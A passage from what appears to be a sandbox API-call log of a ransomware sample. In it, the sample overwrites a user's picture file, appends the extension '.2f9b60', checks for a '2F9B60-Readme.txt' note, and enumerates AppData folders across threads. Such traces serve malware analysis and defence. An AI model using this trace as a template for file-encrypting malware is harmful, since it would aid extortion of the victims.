0x6bd4ceb9 [0095.740] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x2e98852b [0095.740] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x5540eadb [0095.740] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x47a9e438 [0095.740] RtlRandomEx (in: Seed=0x2937f970 | out: Seed=0x2937f970) returned 0x11ff2139 [0095.749] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.749] ReadFile (in: hFile=0xe80, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2937f9e0, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x2937f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.750] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0095.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0095.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0095.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0095.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201578d0 [0095.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0095.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0095.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0095.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0095.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0095.750] WriteFile (in: hFile=0xe80, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2937f9e0, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x2937f9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0095.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0095.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0095.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ef30 [0095.891] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.892] WriteFile (in: hFile=0xe80, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2937fa90, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x2937fa90*=0x10e, lpOverlapped=0x0) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eef0) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ef30) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5e0) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8160) returned 1 [0095.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b60) returned 1 [0095.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85c840 [0095.901] wcscpy (in: _Dest=0x1b85c840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png" [0095.901] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png.2f9b60" [0095.901] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png.2f9b60", NtPathName=0x2937fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\YcAn 6cV6S.png.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7adc00 [0095.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adc00) returned 1 [0095.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202663b0) returned 1 [0095.903] NtQueryInformationFile (in: FileHandle=0xe80, IoStatusBlock=0x2937fb18, FileInformation=0x2937fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2937fb18, FileInformation=0x2937fb28) returned 0x0 [0095.903] NtSetInformationFile (FileHandle=0xe80, IoStatusBlock=0x2937fb18, FileInformation=0x2937fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0095.904] FlushFileBuffers (hFile=0xe80) returned 1 [0095.926] CloseHandle (hObject=0xe80) returned 1 [0095.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8664c0 [0095.927] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0095.927] wcscat (in: _Dest=0x1b8664c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" [0095.927] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt")) returned 0x20 [0095.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0095.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 Thread: id = 624 os_tid = 0x10a4 [0095.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97170 [0095.752] wcscpy (in: _Dest=0x1cd97170, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0095.752] wcscat (in: _Dest=0x1cd97170, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0095.752] wcscat (in: _Dest=0x1cd97170, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\*") returned="C:\\Users\\Default\\AppData\\Local\\*" [0095.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62a20 [0095.752] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*", lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c3d0 [0095.753] wcscmp (_String1=".", _String2=".") returned 0 [0095.753] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.754] wcscmp (_String1="..", _String2=".") returned 1 [0095.754] wcscmp (_String1="..", _String2="..") returned 0 [0095.754] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0095.754] wcscmp (_String1="Application Data", _String2=".") returned 1 [0095.754] wcscmp (_String1="Application Data", _String2="..") returned 1 [0095.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef70 [0095.754] wcscpy (in: _Dest=0x1b86ef70, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0095.754] wcscat (in: _Dest=0x1b86ef70, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0095.754] wcscat (in: _Dest=0x1b86ef70, _Source="Application Data" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Application Data") returned="C:\\Users\\Default\\AppData\\Local\\Application Data" [0097.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86ef70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c [0097.918] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0097.918] wcscmp (_String1="History", _String2=".") returned 1 [0097.918] wcscmp (_String1="History", _String2="..") returned 1 [0097.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd9db50 [0097.919] wcscpy (in: _Dest=0x1cd9db50, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0097.919] wcscat (in: _Dest=0x1cd9db50, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0097.919] wcscat (in: _Dest=0x1cd9db50, _Source="History" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\History") returned="C:\\Users\\Default\\AppData\\Local\\History" [0097.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9db50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0097.919] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0097.919] wcscmp (_String1="IconCache.db", _String2=".") returned 1 [0097.919] wcscmp (_String1="IconCache.db", _String2="..") returned 1 [0097.919] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.919] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0097.919] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0097.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9daf0 [0097.920] wcscpy (in: _Dest=0x1cd9daf0, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0097.920] wcscat (in: _Dest=0x1cd9daf0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0097.920] wcscat (in: _Dest=0x1cd9daf0, _Source="Microsoft" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft" [0097.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9daf0) returned 1 [0097.920] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0097.920] wcscmp (_String1="Temp", _String2=".") returned 1 [0097.920] wcscmp (_String1="Temp", _String2="..") returned 1 [0097.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c3f0 [0097.920] wcscpy (in: _Dest=0x1b82c3f0, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0097.920] wcscat (in: _Dest=0x1b82c3f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0097.920] wcscat (in: _Dest=0x1b82c3f0, _Source="Temp" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Temp") returned="C:\\Users\\Default\\AppData\\Local\\Temp" [0097.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0097.920] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0097.920] wcscmp (_String1="Temporary Internet Files", _String2=".") returned 1 [0097.920] wcscmp (_String1="Temporary Internet Files", _String2="..") returned 1 [0097.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0097.920] wcscpy (in: _Dest=0x1b85e990, _Source="C:\\Users\\Default\\AppData\\Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0097.920] wcscat (in: _Dest=0x1b85e990, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\") returned="C:\\Users\\Default\\AppData\\Local\\" [0097.920] wcscat (in: _Dest=0x1b85e990, _Source="Temporary Internet Files" | out: _Dest="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files" [0097.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0097.921] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1cd62a20 | out: lpFindFileData=0x1cd62a20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0097.921] FindClose (in: hFindFile=0x1cd9c3d0 | out: hFindFile=0x1cd9c3d0) returned 1 [0097.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62a20) returned 1 [0097.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0097.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 Thread: id = 625 os_tid = 0x10a8 [0095.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1cd974e0 [0095.757] wcscpy (in: _Dest=0x1cd974e0, _Source="C:\\Users\\Default\\AppData\\LocalLow" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow" [0095.757] wcscat (in: _Dest=0x1cd974e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\") returned="C:\\Users\\Default\\AppData\\LocalLow\\" [0095.757] wcscat (in: _Dest=0x1cd974e0, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\*") returned="C:\\Users\\Default\\AppData\\LocalLow\\*" [0095.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd622d0 [0095.757] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858670 [0096.034] wcscmp (_String1=".", _String2=".") returned 0 [0096.034] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.034] wcscmp (_String1="..", _String2=".") returned 1 [0096.034] wcscmp (_String1="..", _String2="..") returned 0 [0096.034] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0096.034] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0096.034] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0096.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b858f70 [0096.034] wcscpy (in: _Dest=0x1b858f70, _Source="C:\\Users\\Default\\AppData\\LocalLow" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow" [0096.034] wcscat (in: _Dest=0x1b858f70, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\") returned="C:\\Users\\Default\\AppData\\LocalLow\\" [0096.034] wcscat (in: _Dest=0x1b858f70, _Source="Microsoft" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft" [0096.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858f70) returned 1 [0096.034] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0096.034] FindClose (in: hFindFile=0x1b858670 | out: hFindFile=0x1b858670) returned 1 [0096.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd622d0) returned 1 [0096.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0096.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 Thread: id = 626 os_tid = 0x10ac [0095.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd97260 [0095.763] wcscpy (in: _Dest=0x1cd97260, _Source="C:\\Users\\Default\\AppData\\Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0095.763] wcscat (in: _Dest=0x1cd97260, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\" [0095.763] wcscat (in: _Dest=0x1cd97260, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\*" [0095.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62060 [0095.764] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d90 [0096.030] wcscmp (_String1=".", _String2=".") returned 0 [0096.030] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.030] wcscmp (_String1="..", _String2=".") returned 1 [0096.030] wcscmp (_String1="..", _String2="..") returned 0 [0096.030] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0096.030] wcscmp (_String1="Identities", _String2=".") returned 1 [0096.030] wcscmp (_String1="Identities", _String2="..") returned 1 [0096.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b858730 [0096.031] wcscpy (in: _Dest=0x1b858730, _Source="C:\\Users\\Default\\AppData\\Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0096.031] wcscat (in: _Dest=0x1b858730, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\" [0096.031] wcscat (in: _Dest=0x1b858730, _Source="Identities" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities" [0097.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe98 [0097.928] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.928] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0097.928] wcscmp 